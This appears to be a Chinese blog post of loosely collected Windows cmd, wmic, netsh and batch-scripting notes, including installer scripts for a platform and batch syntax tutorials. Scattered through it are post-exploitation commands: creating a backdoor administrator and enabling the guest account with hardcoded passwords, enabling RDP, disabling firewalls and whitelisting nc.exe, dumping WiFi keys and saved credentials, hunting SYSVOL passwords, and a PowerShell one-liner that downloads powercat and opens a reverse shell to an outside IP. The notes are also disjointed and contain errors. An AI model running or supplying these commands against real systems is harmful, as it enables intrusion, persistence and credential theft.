运维知识点-Windows操作系统-cmd/Dos批处理bat命令与脚本手册

在这里插入图片描述

Windows操作系统

登录日志

4776、4624
(登录成功)事件

本机用户和组

lusrmgr.msc

计算机管理

compmgmt.msc
查看本地用户组有没有隐藏账户

导出日志利用 Log Parser 查看管理员登录时间、用户是否存在异常

计划任务

taskschd.msc

最近打开过的可疑文件

%UserProfile%\Recent

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述


net view
net computer
net dclist 
net user /domain




curl ifconfig.me

#添加用户
net user yydsaming  GMIo2HXk1C3bv /add  
#添加用户至管理员组 
net localgroup "administrators" yydsaming /add
#添加用户至远程桌面组 #此组中的成员被授予远程登录的权限
net localgroup "Remote Desktop Users" yydsaming /add 



net   user  guest  /active:yes   
net   user  guest   GMIo2HXk1C3bv.
net   localgroup  administrators  guest   /add
net   localgroup "Remote  Desktop Users"  guest  /add 


explorer



NET LOCALGROUP [组名[/COMMENT:文本][/DOMAIN] 组名:文本 组名称[.]{
   /ADD}[/DOMAIN]

其中:

组名:指定要添加、删除或查看的本地用户组的名称。
/COMMENT:文本:为用户组添加或更改注释。
/DOMAIN:在主域控制器上执行操作,而不是在本地计算机上。
组名称:指定要添加或删除的用户组的名称。
/ADD:创建新的用户组。
/DELETE:删除现有的用户组。
例如,要创建一个名为“testgroup”的新用户组,可以使用以下命令:

NET LOCALGROUP /ADD testgroup

要将用户“user1”添加到“testgroup”中,可以使用以下命令:

NET LOCALGROUP testgroup user1 /ADD

要查看“testgroup”的成员列表,可以使用以下命令:

NET LOCALGROUP testgroup

要删除用户“user1”从“testgroup”中,可以使用以下命令:

NET LOCALGROUP testgroup user1 /DELETE

要删除“testgroup”这个用户组,可以使用以下命令:

NET LOCALGROUP /DELETE testgroup



通过 cmd 命令开启 3389 端口的方法是:

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

或者

wmic RDTOGGLE WHERE ServerName=‘%COMPUTERNAME%’ call SetAllowTSConnections 1

通过修改注册表开启 3389 端口的方法是:

打开注册表编辑器,方法:快捷键 Win+r 打开运行,输入“regedit.exe”回车。
在注册表编辑器对话窗口中,依次展开“ HKEY_LOCAL_MACHINE\System\CurrentControiSet\Control\TerminalServer\WinStations\RDP-Tcp ”选项
在“RDP-Tcp”选项的右侧窗口找到“PortNumber”选项,双击打开“PortNumber”
在“编辑DWORD (32位值)”窗口中,将右侧的基数改为“十进制”,将PortNumber数值改为 3389 ,确定
注意:修改注册表后需要重启计算机才能生效。


通过 cmd 命令关闭 3389 端口的方法是:

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f

或者

wmic RDTOGGLE WHERE ServerName=‘%COMPUTERNAME%’ call SetAllowTSConnections 0



taskkill [/s <computer> [/u [<domain>\]<username> [/p [<password>]]]] {
    [/fi <filter>] […] [/pid <processID> | /im <imagename>]} [/f] [/t]

其中:

-   /s <computer>:指定远程计算机的名称或 IP 地址(不要使用反斜杠)。默认是本地计算机。
-   /u <domain>\<username>:使用指定的用户账户或域账户来运行命令。只有在指定了 /s 参数时才能使用 /u 参数。默认是当前登录到发出命令的计算机的用户账户。
-   /p <password>:指定用户账户的密码。
-   /fi <filter>:应用一个过滤器来选择一组任务。你可以使用多个过滤器或者使用通配符( * )来指定所有任务或镜像名。有效的过滤器在下面的表格中列出。
-   /pid <processID>:指定要结束的进程的进程 ID。
-   /im <imagename>:指定要结束的进程的镜像名。使用通配符( * )来指定所有镜像名。
-   /f:强制结束进程。对于远程进程,这个参数会被忽略,所有远程进程都会被强制结束。
-   /t:结束指定的进程以及它启动的所有子进程。
2008
2003
win 7


快速判断目标站是windows还是linux服务器
linux大小写敏感,windows大小写不敏感
ping服务器,返还得TTL值不一样,windows一般在100以上,linux一般是100以下



```
TTL=128,这是WINNT/2K/XP。
TTL=32,这是WIN95/98/ME。
TTL=256,这是UNIX。
TTL=64,这是LINUX。
```
网络配置
path命令

将指定的路径赋予path,以便于再次使用该路径
%path%

例如我们将c:\windows路径赋予path命令,那么下次使用该路径,只需要输入path即可,不需要再次输入路径。

对于长路径,使用该命令是及其方便的。

运行path,查看默认cmd运行路径
指定一个路径
path c:\windows\system32

运行
path :
取消所有路径;

打开一个新的命令提示符窗口,运行路径会恢复为默认值。


cmd下输入: 
path=%path%;E:\Python27  
接着按"Enter"回车键。  

这里的E:\Python27 是Python的安装目录
获取当前路径

%cd%、%~dp0
%~dp0是以“\”结尾
最初开始命令所在的当前路径,而%~dp0则是对应命令所在的当前路径

1.bat调用autoreg.bat,内容如下:

call E:\myproject\Debug\autoreg.bat


autoreg.bat是用来注册和它在同一个目录中的一个控件,内容如下:

regsvr32 my.ocx
一般情况判断完全匹配的时候用==

代码如下:


@echo off
if "%1"=="abc"  @echo OK

但是部分匹配怎么写呢?比如判断参数中前三个字符是"abc"时

代码如下:


@echo off
echo %1|findstr "^abc" >nul
echo %errorlevel%

测试结果如下:

C:\>test xixi
1

C:\>test
1

C:\>test abcd
0

C:\>test xabcd
1

非常感谢,但是这样怎么实现if else的效果呢?

比如

if "%1"含有"abc"  @echo OK
if "%1"含有"def"  @echo NG

代码如下:


@echo off
echo %1|findstr "^abc" >nul
if %errorlevel% equ 0 (
echo ok
) else (
echo not ok
)


@echo off
不显示执行的脚本
 
set /p a= 请输入选择[1/2]:
if %a% equ 1 start python 1.py
if %a% equ 2 start ipconfig


echo 按任意键退出...
pause
pause > NUL



cls 清除面板的信息



@echo off


echo =============================================================
echo 当前脚本路径 %cd%
echo 当前权限 %USERNAME% 

ver | find "4.0." > NUL &&  goto win95  
ver | find "4.10." > NUL &&  goto win98 
ver | find "4.90." > NUL &&  goto win_me 
ver | find "3.51." > NUL &&  goto win_Nt_3_5 
ver | find "5.0." > NUL &&  goto win2000  
ver | find "5.1." > NUL &&  goto win_xp  
ver | find "5.2." > NUL &&  goto win2003  
ver | find "6.0." > NUL &&  goto vista 
ver | find "6.1." > NUL &&  goto win7  
ver | find "6.2." > NUL &&  goto win8  

:win95
@echo 当前系统是:win95

goto end

:win98
@echo 当前系统是:win98

goto end

:win_me
@echo 当前系统是:win_me

goto end

:win_Nt_3_5
@echo 当前系统是:win NT 3.51

goto end

:win2000
@echo 当前系统是:win2000

goto end

:win_xp
@echo 当前系统是:WinXP

goto end

:win2003
@echo 当前系统是:win200

goto end

:vista
@echo 当前系统是:vista

goto end


:win7
@echo 当前系统是:win7  OR  win2008 R2

goto end

:win8
@echo 当前系统是:win8

goto end

@echo不能获取当前操作系统版本


:end

echo =============================================================

echo.
echo 请选择执行脚本:
echo [1] 初始化python环境
echo [2] 初始化mysql
echo.
  
Windws 的主要版本列表
获取的操作系统版本的取自版本的前两位,获取的操作系统信息依然不够准确的,
如上表所示,如Windows 8和Windows Server 2012的版本号都是6.2
https://www.bbsmax.com/A/ke5jy8MyJr/

批处理添加 环境变量

C:\Users\Administrator\Desktop\yujing\MySQL5.7.26\bin
C:\Users\Administrator\Desktop\yujing\python3.7

@echo off
:: 在Path最前面添加Python环境(编译&运行)
wmic ENVIRONMENT where "name='path' and username='<system>'" set VariableValue="%path%;%~dp0python3.7"
echo %path%
:: 重启资源管理器
taskkill /f /im explorer.exe
start explorer.exe
exit 




echo.
echo 请选择执行脚本:
echo [1] 初始化python环境
echo [2] 初始化mysql
echo [3] 运行道普预警平台
echo.
 
set /p a= 请输入选择[1/2/3]:
if %a% equ 1  goto init_py
if %a% equ 2 start 

:init_py
@echo ____________添加python环境变量到系统____________
@echo off
:: 在Path最前面添加Python环境(编译&运行)
wmic ENVIRONMENT where "name='path' and username='<system>'" set VariableValue="%path%;%~dp0python3.7/"
:: 重启资源管理器
taskkill /f /im explorer.exe & start explorer.exe

goto end
:end

https://www.cnblogs.com/jeshy/p/14125124.html
 
 
::先添加,防止没有时修改出错
wmic ENVIRONMENT create name="path",VariableValue="e:\tools;%path%"
::再修改,防止已有时添加出错
wmic ENVIRONMENT where "name='path' and username='<system>'" set VariableValue="e:\tools;%path%"
::再即时应用
set "path=e:\tools;%path%"
初始配置任务
服务器管理器



@echo off 
echo. 
echo Refreshing PATH from registry 

:: Get System PATH 
for /f "tokens=3*" %%A in ('reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v Path') do set syspath=%%A%%B 

:: Get User Path 
for /f "tokens=3*" %%A in ('reg query "HKCU\Environment" /v Path') do set userpath=%%A%%B 

:: Set Refreshed Path 
set PATH=%userpath%;%syspath% 

echo Refreshed PATH 
echo %PATH% 

wmic ENVIRONMENT where "name='path' and username='<system>'" get VariableValue


copy C:\Users\Administrator\Desktop\西游记\1.JPGC:\
:init_py
@echo ____________移植python____________
@echo off
:: 在Path最前面添加Python环境(编译&运行)
wmic ENVIRONMENT where "name='path' and username='<system>'" set 
VariableValue="%path%;%~dp0python3.7\"
 
set "path=%path%;%~dp0python3.7\"

copy %~dp0api-ms-win-crt-runtime-l1-1-0.dll C:\Windows\SysWOW64

@echo off
for /f %%i in ('dir/a/s/b') do xcopy  %%i "C:\Users\Administrator\Desktop\11"   /e /y 

python
goto end
:end
 

echo 按任意键退出...
pause 

@echo off

cd site-packages
for /f "tokens=*" %%i in ('dir/s/b/a') do xcopy  %%i  %pythonpath% /s /y
pause
dir/s/b/ad  遍历文件夹
copy %~dp0site-packages %pythonpath%

/s  复制 非空全部
/e  复制全部

https://wenku.baidu.com/view/b80ff32d7a563c1ec5da50e2524de518964bd38a.html?_wkts_=1672194596290&bdQuery=%E6%89%B9%E5%A4%84%E7%90%86+xcopy+%E5%8F%82%E6%95%B0

https://www.yiibai.com/batch_script/batch_script_variables.html

变量

https://blog.csdn.net/feihe0755/article/details/103930692

循环

https://www.office26.com/computer/computer_30973.html

https://www.office26.com/computer/computer_30973.html

复制


@echo off

echo =================道普漏洞预警系统初始化启动脚本=================
echo 当前脚本路径 %cd%
echo 当前权限 %USERNAME% 

ver | find "4.0." > NUL &&  goto win95  
ver | find "4.10." > NUL &&  goto win98 
ver | find "4.90." > NUL &&  goto win_me 
ver | find "3.51." > NUL &&  goto win_Nt_3_5 
ver | find "5.0." > NUL &&  goto win2000  
ver | find "5.1." > NUL &&  goto win_xp  
ver | find "5.2." > NUL &&  goto win2003  
ver | find "6.0." > NUL &&  goto vista 
ver | find "6.1." > NUL &&  goto win7  
ver | find "6.2." > NUL &&  goto win8  

:win95
@echo 当前系统是:win95

goto end

:win98
@echo 当前系统是:win98

goto end

:win_me
@echo 当前系统是:win_me

goto end

:win_Nt_3_5
@echo 当前系统是:win NT 3.51

goto end

:win2000
@echo 当前系统是:win2000

goto end

:win_xp
@echo 当前系统是:WinXP

goto end

:win2003
@echo 当前系统是:win200

goto end

:vista
@echo 当前系统是:vista

goto end


:win7
@echo 当前系统是:win7  OR  win2008 R2

goto end

:win8
@echo 当前系统是:win8

goto end

@echo不能获取当前操作系统版本


:end

echo =============================================================

 
echo.
echo 请选择执行脚本:
echo [1] 移植python库
echo [2] 初始化mysql
echo [3] 运行道普预警平台
echo.
 
set /p a= 请输入选择[1/2/3]:
if %a% equ 1  goto init_py
if %a% equ 2 start 

:init_py
@echo ____________移植python____________
@echo off

 
set /p pythonpath= 请输入python安装路径eg:C:\python\Lib\site-packages:

cd site-packages

for /f  %%i in ('dir/s/b/a') do xcopy  %%i  %pythonpath% /e /y

goto end
:end
 

echo 按任意键退出...
pause 


https://www.yiibai.com/batch_script/batch_script_moving_folders.html
移动
批处理 教程
move *.* C:\python\Lib\site-packages


了解CMD中的%~dp0。

%~dp0 “d”为Drive的缩写,即为驱动器,磁盘、“p”为Path缩写,即为路径,目录。

%0代指批处理文件自身

%~d0 是指批处理所在的盘符

%~dp0 是盘符加路径

拒绝访问

echo p0 = %~p0

 Cacls filename [/T] [/E] [/C] [/G user:perm] [/R user [...]] [/P user:perm [...]] [/D user [...]]
  Filename——显示访问控制列表(以下简称ACL);
  /T——更改当前目录及其所有子目录中指定文件的 ACL;
  /E—— 编辑 ACL 而不替换;
  /C——在出现拒绝访问错误时继续;
  /G user:perm——赋予指定用户访问权限。Perm 可以是R(读取)、W(写入)、C(更改,写入)、F (完全控制);
  /R user——撤销指定用户的访问权限(仅在与 /E 一起使用);
  /P user:perm——替换指定用户的访问权限;
/D user——拒绝指定用户的访问。


http://blog.x6x8.com/?p=482


@echo off for /R . %%f in (*) do ( echo %%f if exist "%%f" move "%%f" . ) pause

    in后面的 () 为通配符确定筛选规则,如:(.txt),只移动txt文件
    %%f:变量
    move命令:move A B 移动A文件到B文件,文中为移动%%f到当前文件(.代表当前文件)


https://blog.csdn.net/weixin_39746794/article/details/110937007
教程

move /?

@echo off

echo =================道普漏洞预警系统初始化启动脚本=================
echo 当前脚本路径 %cd%
echo 当前权限 %USERNAME% 

ver | find "4.0." > NUL &&  goto win95  
ver | find "4.10." > NUL &&  goto win98 
ver | find "4.90." > NUL &&  goto win_me 
ver | find "3.51." > NUL &&  goto win_Nt_3_5 
ver | find "5.0." > NUL &&  goto win2000  
ver | find "5.1." > NUL &&  goto win_xp  
ver | find "5.2." > NUL &&  goto win2003  
ver | find "6.0." > NUL &&  goto vista 
ver | find "6.1." > NUL &&  goto win7  
ver | find "6.2." > NUL &&  goto win8  

:win95
@echo 当前系统是:win95

goto end

:win98
@echo 当前系统是:win98

goto end

:win_me
@echo 当前系统是:win_me

goto end

:win_Nt_3_5
@echo 当前系统是:win NT 3.51

goto end

:win2000
@echo 当前系统是:win2000

goto end

:win_xp
@echo 当前系统是:WinXP

goto end

:win2003
@echo 当前系统是:win200

goto end

:vista
@echo 当前系统是:vista

goto end


:win7
@echo 当前系统是:win7  OR  win2008 R2

goto end

:win8
@echo 当前系统是:win8

goto end

@echo不能获取当前操作系统版本


:end

echo =============================================================

 
echo.
echo 请选择执行脚本:
echo [1] 移植python库
echo [2] 初始化mysql
echo [3] 运行道普预警平台
echo.
 
set /p a= 请输入选择[1/2/3]:
if %a% equ 1 cd %cd%/site-packages & Cacls %cd%/site-packages /T /C /G administrator:F  & goto init_py
if %a% equ 2 start 

:init_py
@echo ____________移植python____________
@echo off



set /p pythonpath= 请输入python安装路径eg:C:\python\Lib\site-packages:

echo 输入的路径 %pythonpath% 

echo %cd%


for /f  %%i in ('dir/s/b/a') do xcopy  %%i  %pythonpath% /e /y

goto end
:end
 

echo 按任意键退出...
pause 

Windows Server 2008 R2:是第一个只提供64位版本的服务器操作系统1。
Windows Server 2012 R2:是基于Windows 8.1界面的新一代Windows Server操作系统,也是Windows Server 2012的升级版本1。
Windows Server 2016:是基于Windows 10界面的服务器操作系统,支持容器和微服务1。
Windows Server 2019:是基于Windows 10界面的服务器操作系统,支持混合云和安全性增强1。
Windows Server 2022:是基于Windows 10界面的服务器操作系统,支持多层安全防护和高性能网络1。
根据知乎2的文章,Windows 7系统有以下几个版本:

Starter(初级版):功能最少的一个版本,只支持32位处理器,没有Windows媒体中心和移动中心等功能2。
Home Basic(家庭普通版):对Aero特效有限制,没有Windows媒体中心,不支持远程桌面和家庭网络组等功能2。
Home Premium(家庭高级版):拥有基本的功能,不支持Windows域、XP模式、多语言等功能2。
Professional(专业版):拥有远程桌面、网络备份、位置感知打印、演示模式、活动目录和域支持、加密文件系统等功能2。
Enterprise(企业版):拥有AppLocker、BranchCache、Direct Access等企业级别的功能2。
Ultimate(旗舰版):拥有和企业版同样的功能,可以升级到旗舰版2。
根据CSDN3的文章,2020年5月OS市场占有率报告显示,Ubuntu和Linux分别占有1.89%和0.97%,而Windows各个版本的市场占有率如下:

Windows 10占有56.08%。
Windows 7占有25.59%。
Windows 8.1占有3.28%。s
Windows XP占有0.96%。
Windows Vista占有0.12%。 3
您可以根据您的服务器配置和应用需求选择合适的Windows系统版本。




如何删除文件夹和文件夹内的所有文件12。有两种常用的命令可以实现这个功能,分别是 del 和 rmdir123。del 命令可以删除一个或多个文件,rmdir 命令可以删除一个或多个目录123。如果要删除文件夹和文件夹内的所有文件,可以使用以下语法123:

del /s /q /f 文件夹名
rmdir /s /q 文件夹名
其中,/s 表示删除指定目录及其所有子目录和文件,/q 表示安静模式,不提示确认,/f 表示强制删除只读文件123。例如,如果要删除 D 盘下的 test 文件夹和其内部的所有文件,可以使用以下命令12:

del /s /q /f D:\test
rmdir /s /q D:\test





开启防火墙:

netsh firewall set opmode mode=enable

关闭防火墙:

netsh firewall set opmode mode=disable

 

 	 	 
命令:netsh firewall 

参数: 

? // 显示命令列表 

add // 添加防火墙配置 

delete // 删除防火墙配置 

dump // 显示一个配置脚本 

help // 显示命令列表 

reset // 将防火墙配置重置为默认值。 

set // 设置防火墙配置 

show // 显示防火墙配置 

add allowedprogram // 添加防火墙允许的程序配置。 

add portopening // 添加防火墙端口配置 

delete allowedprogram // 删除防火墙允许的程序配置 

delete portopening // 删除防火墙端口配置 

set allowedprogram // 设置防火墙允许的程序配置 

set icmpsetting // 设置防火墙 ICMP 配置 

set logging // 设置防火墙记录配置 

set multicastbroadcastresponse // 设置防火墙多播/广播响应配置 

set notifications // 设置防火墙通知配置 

set opmode // 设置防火墙操作配置 

set portopening // 设置防火墙端口配置 

set service // 设置防火墙服务配置 

show allowedprogram // 显示防火墙允许的程序配置 

show config // 显示防火墙配置。 

show currentprofile // 显示当前防火墙配置文件 

show icmpsetting // 显示防火墙 ICMP 配置 

show logging // 显示防火墙记录配置 

show multicastbroadcastresponse // 显示防火墙多播/广播响应配置 
show notifications // 显示防火墙操作配置 

show opmode // 显示防火墙端口配置 

show portopening // 显示防火墙端口配置 

show service // 显示防火墙服务配置 

show state // 显示当前防火墙状态  

例如: 

命令:netsh firewall show allowedprogram //查看防火墙放行的程序 

netsh firewall set portopening TCP 445 ENABLE //打开445端口 

netsh firewall set portopening TCP 3389 ENABLE // 

netsh firewall delete allowedprogram C:\A.exe //删除放行程序A.exe 

netsh firewall set allowedprogram C:\A.exe A ENABLE //添加程序C盘下的A.exe并放行 

netsh firewall add allowedprogram C:\A.exe A ENABLE //添加程序C盘下的A.exe并放行

    netsh firewall set icmpsettting type=ALL mode=enable //开启ICMP协议 

    netsh firewall set icmpsettting type=2 mode=enable  //允许出站数据包太大






qprocess /?  
ID

mysqld.exe
svchost.exe


WMI 命令 wmic.exe

WMIC是Windows Management Instrumentation Command-line的简称,它是一款命令行管理工具,提供了从命令行接口到批命令脚本执行系统管理的支持,可以说是Windows平台下最有用的命令行工具。使用WMIC,我们不但可以管理本地计算机,还可以管理统一局域网内的所有远程计算机(需要必要的权限),而被管理的计算机不必事先安装WMIC

rem 查看cpu   
wmic cpu list brief  
rem 查看物理内存  
wmic memphysical list brief  
rem 查看逻辑内存  
wmic memlogical list brief  
rem 查看缓存内存  
wmic memcache list brief  
rem 查看虚拟内存  
wmic pagefile list brief  
rem 查看网卡  
wmic nic list brief  
rem 查看网络协议  
wmic netprotocal list brief





硬盘相关所有信息:wmic logicaldisk

查询计算机上所有磁盘的使用情况
wmic logicaldisk list brief



批处理脚本是Windows系统下的一种简单的编程语言,

它可以用来自动化执行一些常用的命令或任务。

批处理脚本的文件后缀名是.bat,你可以用文本编辑器来创建和编辑它们。


批处理脚本的基本语法包括以下几个方面:



第一步. net stop winnat

第二步. netsh int ipv4 add excludedportrange protocol=tcp startport=8361 numberofports=1

第三步. net start winnat

注释

可以用#或者::来注释一行代码,让它不被执行。例如

# 这是一个注释
:: 这也是一个注释



输入和输出

用echo命令来在控制台窗口输出一些文本或变量的值,
也可以用>或>>来将输出内容重定向到一个文件中。例如:


echo Hello World # 在控制台输出Hello World
echo %date% > date.txt # 将当前日期写入date.txt文件中,覆盖原有内容
echo %time% >> date.txt # 将当前时间追加到date.txt文件中,不覆盖原有内容

变量

可以用set命令来定义或修改一个变量,
变量名不区分大小写,变量值可以用%变量名%来引用。例如:


set name=Tom # 定义一个变量name,赋值为Tom
echo My name is %name% # 输出My name is Tom
set /a age=20+1 # 定义一个变量age,赋值为20+1的结果,即21
echo I am %age% years old # 输出I am 21 years old

条件判断

可以用if命令来根据一个条件执行不同的操作,

条件可以是比较两个字符串或数字,也可以是检查一个文件或目录是否存在。例如:


if "%name%"=="Tom" echo Hi Tom # 如果变量name的值等于Tom,就输出Hi Tom
if "%age%" geq "18" echo You are an adult # 如果变量age的值大于等于18,就输出You are an adult
if exist date.txt echo date.txt exists # 如果date.txt文件存在,就输出date.txt exists
if not exist date.txt echo date.txt does not exist # 如果date.txt文件不存在,就输出date.txt does not exist

循环

用for命令来遍历一个集合或一个文件中的每一行,并对每个元素执行相同的操作。例如:


for %%i in (1 2 3) do echo %%i # 遍历集合(1 2 3),并对每个元素输出其值
for /f "delims=" %%i in (date.txt) do echo %%i # 遍历date.txt文件中的每一行,并对每一行输出其内容

跳转


用goto命令和标签来实现代码的跳转,标签以:开头,跟一个名称。例如:



:start # 定义一个标签start
echo This is a loop # 输出This is a loop
goto start # 跳转到start标签处,形成一个无限循环





函数

你可以用call命令和标签来定义和调用一个函数,函数中可以使用参数和返回值。例如:
call :add 1 2 result # 调用add函数,传入两个参数1和2,返回值存入result变量中
echo The result is %result% # 输出The result is 3
exit /b # 退出批处理脚本

:add # 定义一个函数add
set /a result=%1+%2 # 计算两个参数的和,并赋值给result变量
exit /b %result% # 退出函数,并返回result变量的值

DOS命令

_DOS命令 Type :显示ASCII码文件的内容_



Windows操作系统命令与脚本总结

Curl



命令:curl
在Linux中curl是一个利用URL规则在命令行下工作的文件传输工具,可以说是一款很强大的http命令行工具。它支持文件的上传和下载,是综合传输工具,但按传统,习惯称url为下载工具。

语法:# curl [option] [url]


常见参数:
-A/--user-agent <string>              设置用户代理发送给服务器
-b/--cookie <name=string/file>    cookie字符串或文件读取位置
-c/--cookie-jar <file>                    操作结束后把cookie写入到这个文件中
-C/--continue-at <offset>            断点续转
-D/--dump-header <file>              把header信息写入到该文件中
-e/--referer                                  来源网址
-f/--fail                                          连接失败时不显示http错误
-o/--output                                  把输出写到该文件中
-O/--remote-name                      把输出写到该文件中,保留远程文件的文件名
-r/--range <range>                      检索来自HTTP/1.1或FTP服务器字节范围
-s/--silent                                    静音模式。不输出任何东西
-T/--upload-file <file>                  上传文件
-u/--user <user[:password]>      设置服务器的用户和密码
-w/--write-out [format]                什么输出完成后
-x/--proxy <host[:port]>              在给定的端口上使用HTTP代理
-#/--progress-bar                        进度条显示当前的传送状态

Telnet


1.命令格式:
telnet   [参数]   [主机]
1
2.命令功能:
执行telnet指令开启终端机阶段作业,并登入远端主机。

3.命令参数:
-8 允许使用8位字符资料,包括输入与输出。

-a 尝试自动登入远端系统。

-b<主机别名> 使用别名指定远端主机名称。

-c 不读取用户专属目录里的.telnetrc文件。

-d 启动排错模式。

-e<脱离字符> 设置脱离字符。

-E 滤除脱离字符。

-f 此参数的效果和指定"-F"参数相同。

-F 使用Kerberos V5认证时,加上此参数可把本地主机的认证数据上传到远端主机。

-k<域名> 使用Kerberos认证时,加上此参数让远端主机采用指定的领域名,而非该主机的域名。

-K 不自动登入远端主机。

-l<用户名称> 指定要登入远端主机的用户名称。

-L 允许输出8位字符资料。

-n<记录文件> 指定文件记录相关信息。

-r 使用类似rlogin指令的用户界面。

-S<服务类型> 设置telnet连线所需的IP TOS信息。

-x 假设主机有支持数据加密的功能,就使用它。

-X<认证形态> 关闭指定的认证形态。 

管理员权限:

添加账号并加入管理员组

net user admin1 admin1 /add & net localgroup administrators admin1 /add

添加用户至远程桌面组

net localgroup “Remote Desktop Users” aming /add
#此组中的成员被授予远程登录的权限

允许修改密码

net user 用户名 /passwordchg:yes

防火墙 :

关闭防火墙

netsh firewall set opmode mode=disable

添加防火墙规则,允许 3389 端口通信:

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow 

匹配出注册表信息中的软件:

find “DisplayName” reg.txt |find /V “ParentDisplayName” > tmplist.txt

获取完整补丁信息(比systeminfo全):

wmic qfe list

获取系统和版本信息

systeminfo | findstr /B /I /C:“os name” /C: “OS Version”

/B: 在一行开始匹配,
/I:不区分大小写
/C:string :使用指定的字符串作为文字搜索字符串

如果是中文操作系统,输入如下命令

systeminfo | findstr /B /I /C:“os 名称” /C: “OS 版本”

4,查看系统体系结构

echo %processor_architecture%
5,查看安装的软件及版本、路径等

wmic product get name,version
6,利用powershell命令,收集软件版本信息,具体如下

powershell “get-wmiobject -class win32_product | select-object -property name,version”
7,查询本机服务信息

wmic service list brief

显示本地或远程机器上当前运行的进程列表。

一般情况下我们都是通过tasklist查看系统当前正在运行的进程,然后通过tskill来关闭。

tasklill xxxx
 

tasklit /S 192.168.10.1 /U administrator /P Admin@123       
//列出DC上运行的进程

/S 指定IP地址
/U 指定哪个用户执行这个命令
/P 指定该用户密码

在这里插入图片描述

wmic process list brief

9,查看启动程序信息

wmic startup get command,caption
10,查看计划任务
schtasks /query /fo list /v
11,查看主机开机时间
net statistics workstation
12,查询用户列表
net user
13,获取本地管理员组的信息

net localgroup administrators
14,查看当前在线用户
query user || qwinsta
15,列出或断开本地计算机和连接的客户端的会话
net session

17 ,查询补丁信息
systeminfo
18,使用wmic 识别安装系统中的补丁情况

wmic qfe get Caption,Description,HotFixID,InstalledOn
19,查询本机共享,命令如下
net share
利用wmic 查找共享,命令如下
wmic share get name,path,status

21,关闭防火墙命令
#windows server 2003 系统之前版本,命令如下:
netsh firewall set opmode disable
#windows server 2003 之后的系统版本
netsh advfirewall set allprofiles state off
22,查看防火墙配置
netsh firewall show config
23,修改防火墙配置
#windows server 2003 系统之前版本,命令如下:
netsh firewall add allowedprogram c:\nc.exe “allow nc” enable
#windows server 2003 之后的系统版本,允许指定程序连入
netsh advfirewall firewall add rule name=“pass nc” dir=in action=allow program=“c:\nc.exe”
允许指定程序连出 ,命令如下
netsh advfirewall firewall add rule name=“allow nc” dir=out action=allow program=“c:\nc.exe”
允许3389端口放行,命令如下
netsh advfirewall firewall add rule name=“remote Desktop” protocol=tcp dir=in localport =3389 action=allow
24,查看计算机代理配置情况

reg query “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings”
25,查询并开启远程连接服务

REG QUERY “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /V PortNumber
#在windows 2003中开启3389
wmic path win32_terminalservicesetting where (__CLASS !=“”) call setallowtsconnections 1
#在windows2008和widnows 2012中开启3389
wmic /namespace:\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !=“”) call setallowtsconnections 1
wmic /namespace:\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName=‘RDP-Tcp’) call setuserauthenticationrequired 1
reg add “HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER” /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

域相关
查询当前登陆域:
net config workstation
set log
echo %logonserver%
查询域控制器主机名:
net group “domain controllers” /domain
nltest /dclist:域
查询域管名字:net group “domain admins” /domain
查看当前域机器列表:net group “domain computers” /domain
查询当前所有域用户: net user /domain
当前域分组情况:net group /domain
查看共享目录:net share
查看当前在线用户:query user || qwinsta
查看远程计算机tasklist:tasklist /S ip /U domain\username /P /V
查看本机杀软:WMIC /Node:localhost /Namespace:\root\SecurityCenter2 Path AntivirusProduct Get displayName
远程桌面连接记录:cmdkey /l
本机已安装程序:wmic product get name,version

本机相关信息
Windows
查看当前用户权限:whoami /all
查看当前用户是否属于管理组:net localgroup administrators && whoami
查看当前系统是否为虚拟机:systeminfo | findstr /i “System Model”
本机配置信息:systeminfo

获取系统注册的服务信息:sc query state= all
查看本机保存的登陆凭证:cmdkey /l
查看防火墙状态:netsh advfirewall show allprofiles
查看连过的WIFI:netsh wlan show profiles
查看wifi的密码:netsh wlan show profile name=“wifi名称” key=clear

查看RDP连接凭证:dir /a %userprofile%\AppData\Local\Microsoft\Credentials*
查看域内某台主机详情:net view /domain:XXX
获取域里面所有机子的本地管理员账号密码:dir /s /a \域控IP\SYSVOL*.xml

powershell
powershell IEX (New-Object System.Net.Webclient).DownloadString(‘https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1’); powercat -c 101.35.124.140 -p 6666 -e cmd

操作系统 TTL

LINUX 64

WIN2K/NT 128

WINDOWS 系列 32

52 win

UNIX 系列 255

wmic qfe GET hotfixid | findstr /C:"KB4012212

explorer

操作系统 服务命令列表

  • winver---------检查windows版本
    在这里插入图片描述

在这里插入图片描述



wmimgmt.msc----打开windows管理体系结构(wmi)

在这里插入图片描述



wupdmgr Windows更新程序
wscript Windows脚本宿主设置

文档
https://docs.microsoft.com/zh-cn/windows-server/administration/windows-commands/wscript

在这里插入图片描述



write----------写字板
在这里插入图片描述



winmsd---------系统信息



wiaacmgr&#x

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值